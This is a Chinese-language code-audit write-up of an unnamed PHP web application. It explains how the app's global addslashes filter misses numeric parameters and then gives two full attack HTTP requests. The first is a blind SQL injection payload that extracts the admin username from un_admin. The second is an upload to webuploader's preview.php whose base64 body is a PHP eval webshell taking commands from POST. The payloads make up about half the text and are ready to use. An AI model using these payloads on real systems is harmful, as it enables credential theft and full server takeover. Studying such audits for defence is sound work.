团队成员发的一套源码
前期审计
在审计一套代码的时候,我们首先要了解程序的路由、全局文件是否有过滤等问题。
我们首先查看入口文件,也就是index.php
加载了conn.php,base.php等外部文件。判断是电脑还是手机访问。还判断了用户如果m传参是admin的话,显示权限不足,也就是不准你用这种路由访问后台。按照经验来看,这套程序是有个专门的后台登录文件。
conn.php
base.php
base.php从第76-93行是重点。
可以看到,对请求方式都添加了过滤,addslasheshe的功能就是给单引号添加反斜杠。
这个函数有个特性就是不会拦截数值型的变量。所以我们找注入就去找没有单双引号包裹的就行
发现漏洞
SQL盲注
全局搜索where关键字,发现一个数值型变量。定位到lib/controller/api/app.php文件。
可以看到,非常典型的一个注入。构造payload
POST /index.php?m=api&c=app&a=getTips HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: xxx.com
Connection: close
Referer: xxx.com
Cookie: PHPSESSID=mq7b12iqj8ci3d9njejsncmo0i
Upgrade-Insecure-Requests: 1
payment_id=1 or if((select ascii(substr(username,1,1)) from un_admin where userid=1)=97,1,0)#
RCE
对于RCE,我比较喜欢全局搜索file_put_contents,定位到statics/admin/webuploader/0.1.5/server/preview.php
|
|
关键代码33行,从php流直接获取内容。然后就是正则匹配,匹配/image/xxx,xxx赋值为后缀,base64,xxx为文件内容。然后进行了个判断,如果为jpeg,则把后缀定义为jpg,但是它这里判断完之后,并没有啥用,我们依然可以伪造为php后缀。其实这个代码跟我以前那篇交易所文章的代码几乎一模一样,有不懂的可以去看下。
payload
POST /statics/admin/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: xxx.com
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qg48o5j2dqcvivktta811srn30
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7